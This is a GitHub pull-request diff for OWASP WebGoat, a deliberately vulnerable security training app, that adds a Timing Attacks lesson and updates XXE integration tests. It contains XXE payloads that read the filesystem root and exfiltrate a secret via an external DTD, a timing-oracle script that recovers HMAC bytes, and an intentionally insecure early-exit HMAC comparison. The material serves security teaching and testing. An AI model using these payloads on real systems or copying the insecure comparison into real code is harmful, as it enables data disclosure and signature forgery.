Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion .github/workflows/build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,6 @@ jobs:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-15-intel ]
max-parallel: 1
steps:
- uses: actions/checkout@v7
- name: Set up JDK
Expand Down
6 changes: 3 additions & 3 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId>
<version>2026.4-SNAPSHOT</version>
<version>2026.5-SNAPSHOT</version>
<packaging>jar</packaging>

<name>WebGoat</name>
Expand Down Expand Up @@ -96,7 +96,7 @@
<!-- rest-assured is no longer managed by the Spring Boot 4 BOM; 6.x is built for the
Groovy 5 that Spring Boot 4 ships (5.x targets Groovy 4 and fails at runtime). -->
<rest-assured.version>6.0.1</rest-assured.version>
<spotless-maven-plugin.version>3.10.1</spotless-maven-plugin.version>
<spotless-maven-plugin.version>3.10.2</spotless-maven-plugin.version>
<waittimeForServerStart>60</waittimeForServerStart>
<webdriver.version>6.3.4</webdriver.version>
<webgoat.context>/WebGoat</webgoat.context>
Expand Down Expand Up @@ -165,7 +165,7 @@
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>4.6.0</version>
<version>4.6.1</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
Expand Down
25 changes: 12 additions & 13 deletions src/it/java/org/owasp/webgoat/integration/IntegrationTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -185,19 +185,18 @@ public void checkResults() {

public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.log()
.ifValidationFails(LogDetail.BODY)
.statusCode(200)
.body("lessonCompleted", CoreMatchers.is(expectedResult));
}

public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
Expand Down
26 changes: 15 additions & 11 deletions src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,18 +7,22 @@
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Path;
import org.apache.commons.lang3.SystemUtils;
import org.junit.jupiter.api.Test;

public class XXEIntegrationTest extends IntegrationTest {

private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
// Windows runners can use a working drive other than the Windows system drive.
private static final String rootUri =
SystemUtils.IS_OS_WINDOWS
? Path.of(System.getenv("SystemRoot")).getRoot().toUri().toString()
: "file:///";

private static final String directoryListing =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "%s">]><comment><text>&xxe;test</text></comment>
""".formatted(rootUri);
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
Expand All @@ -45,8 +49,8 @@ public class XXEIntegrationTest extends IntegrationTest {
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(url("xxe/simple"), ContentType.XML, directoryListing, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, directoryListing, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
Expand Down Expand Up @@ -109,8 +113,8 @@ private String getSecret() {
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, directoryListing, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, directoryListing, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
/*
* SPDX-FileCopyrightText: Copyright © 2026 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;

import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import static org.assertj.core.api.Assertions.assertThat;

import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.TimingAttacksLessonPage;

public class TimingAttacksLessonUITest extends PlaywrightTest {

private TimingAttacksLessonPage lessonPage;

@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("TimingAttacks");
var page = Authentication.sylvester(browser);

lessonPage = new TimingAttacksLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}

@Test
@DisplayName("Discover and submit the first HMAC byte through response timing")
void shouldRecoverTheFirstByte() {
assertThat(lessonPage.title()).hasText("Timing Attacks");
assertThat(lessonPage.numberOfAssignments()).isEqualTo(4);

lessonPage.navigateTo(2);
String firstByte = lessonPage.recoverFirstByte();
lessonPage.submitFirstByte(firstByte);

assertThat(lessonPage.firstByteFeedback())
.containsText("The response timing revealed the first byte");
}

@Test
@DisplayName("Reject an incomplete mitigation and accept the constant-time comparison API")
void shouldReviewTheMitigation() {
lessonPage.navigateTo(5);

lessonPage.submitMitigation("early-exit", "random-delay");
assertThat(lessonPage.mitigationFeedback())
.containsText("merely makes measurement harder");

lessonPage.submitMitigation("early-exit", "message-digest");
assertThat(lessonPage.mitigationFeedback())
.containsText("MessageDigest.isEqual is the appropriate Java comparison");
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
/*
* SPDX-FileCopyrightText: Copyright © 2026 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;

import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;

import com.microsoft.playwright.APIResponse;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import java.util.Comparator;
import java.util.stream.IntStream;

public class TimingAttacksLessonPage extends LessonPage {

public TimingAttacksLessonPage(Page page) {
super(page);
}

public Locator title() {
return getPage().locator("#lesson-title");
}

public String recoverFirstByte() {
return IntStream.range(0, 256)
.mapToObj(candidate -> new Candidate(candidate, minimumDuration(candidate, 3)))
.max(Comparator.comparingLong(Candidate::durationNanos))
.map(candidate -> "%02x".formatted(candidate.value()))
.orElseThrow();
}

public void submitFirstByte(String firstByte) {
var form = getPage().locator("form[action$='/crypto/timing/first-byte']");
form.locator("input[name='firstByte']").fill(firstByte);
form.locator("button[type='submit']").click();
}

public Locator firstByteFeedback() {
return getPage()
.locator("form[action$='/crypto/timing/first-byte'] ~ .attack-feedback");
}

public void submitMitigation(String cause, String mitigation) {
var form = getPage().locator("form[action$='/crypto/timing/mitigation']");
form.locator("input[name='cause'][value='" + cause + "']").check();
form.locator("input[name='mitigation'][value='" + mitigation + "']").check();
form.locator("button[type='submit']").click();
}

public Locator mitigationFeedback() {
return getPage().locator("form[action$='/crypto/timing/mitigation'] ~ .attack-feedback");
}

private long minimumDuration(int candidate, int samples) {
return IntStream.range(0, samples)
.mapToLong(ignored -> measure(candidate))
.min()
.orElseThrow();
}

private long measure(int candidate) {
String signature = "%02x000000".formatted(candidate);
long start = System.nanoTime();
APIResponse response =
getPage()
.request()
.get(
webGoatUrl(
"crypto/timing/verify?message=WebGoat&signature=" + signature));
long duration = System.nanoTime() - start;
try {
if (!response.ok()) {
throw new IllegalStateException("Timing oracle returned HTTP " + response.status());
}
return duration;
} finally {
response.dispose();
}
}

private record Candidate(int value, long durationNanos) {}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
/*
* SPDX-FileCopyrightText: Copyright © 2026 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.lessons.cryptography.timing;

import java.util.concurrent.ThreadLocalRandom;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.locks.LockSupport;
import java.util.function.IntUnaryOperator;
import java.util.function.LongConsumer;

/** Intentionally insecure code used only to demonstrate a timing side channel. */
final class InsecureHmacValidator {

private final LongConsumer delay;
private final IntUnaryOperator randomDelay;

InsecureHmacValidator() {
this(LockSupport::parkNanos, bound -> ThreadLocalRandom.current().nextInt(bound));
}

InsecureHmacValidator(LongConsumer delay, IntUnaryOperator randomDelay) {
this.delay = delay;
this.randomDelay = randomDelay;
}

boolean matches(
byte[] expected,
byte[] supplied,
long matchingByteDelayMillis,
int maximumJitterMillis) {
if (maximumJitterMillis > 0) {
pause(randomDelay.applyAsInt(maximumJitterMillis + 1));
}

if (expected.length != supplied.length) {
return false;
}

for (int i = 0; i < expected.length; i++) {
if (expected[i] != supplied[i]) {
return false;
}
pause(matchingByteDelayMillis);
}
return true;
}

private void pause(long milliseconds) {
if (milliseconds > 0) {
delay.accept(TimeUnit.MILLISECONDS.toNanos(milliseconds));
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
/*
* SPDX-FileCopyrightText: Copyright © 2026 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.lessons.cryptography.timing;

import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed;
import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success;

import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({
"timing-attacks.hints.behavior",
"timing-attacks.hints.measure",
"timing-attacks.hints.first-byte"
})
public class TimingAttackFirstByteAssignment implements AssignmentEndpoint {

private final TimingAttackSessionState state;

public TimingAttackFirstByteAssignment(TimingAttackSessionState state) {
this.state = state;
}

@PostMapping("/crypto/timing/first-byte")
@ResponseBody
public AttackResult submit(@RequestParam(required = false) String firstByte) {
byte[] supplied = TimingAttackSupport.parseTag(firstByte, 1);
byte expected = state.tagFor(TimingAttackSessionState.KNOWN_MESSAGE)[0];
if (supplied != null && supplied[0] == expected) {
return success(this).feedback("timing-attacks.first-byte.success").build();
}
return failed(this).feedback("timing-attacks.try-again").build();
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
/*
* SPDX-FileCopyrightText: Copyright © 2026 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.lessons.cryptography.timing;

import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed;
import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success;

import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({"timing-attacks.hints.mitigation", "timing-attacks.hints.primitive"})
public class TimingAttackMitigationAssignment implements AssignmentEndpoint {

@PostMapping("/crypto/timing/mitigation")
@ResponseBody
public AttackResult submit(
@RequestParam(required = false) String cause,
@RequestParam(required = false) String mitigation) {
if ("early-exit".equals(cause) && "message-digest".equals(mitigation)) {
return success(this).feedback("timing-attacks.mitigation.success").build();
}
return failed(this).feedback("timing-attacks.mitigation.try-again").build();
}
}
Loading
Loading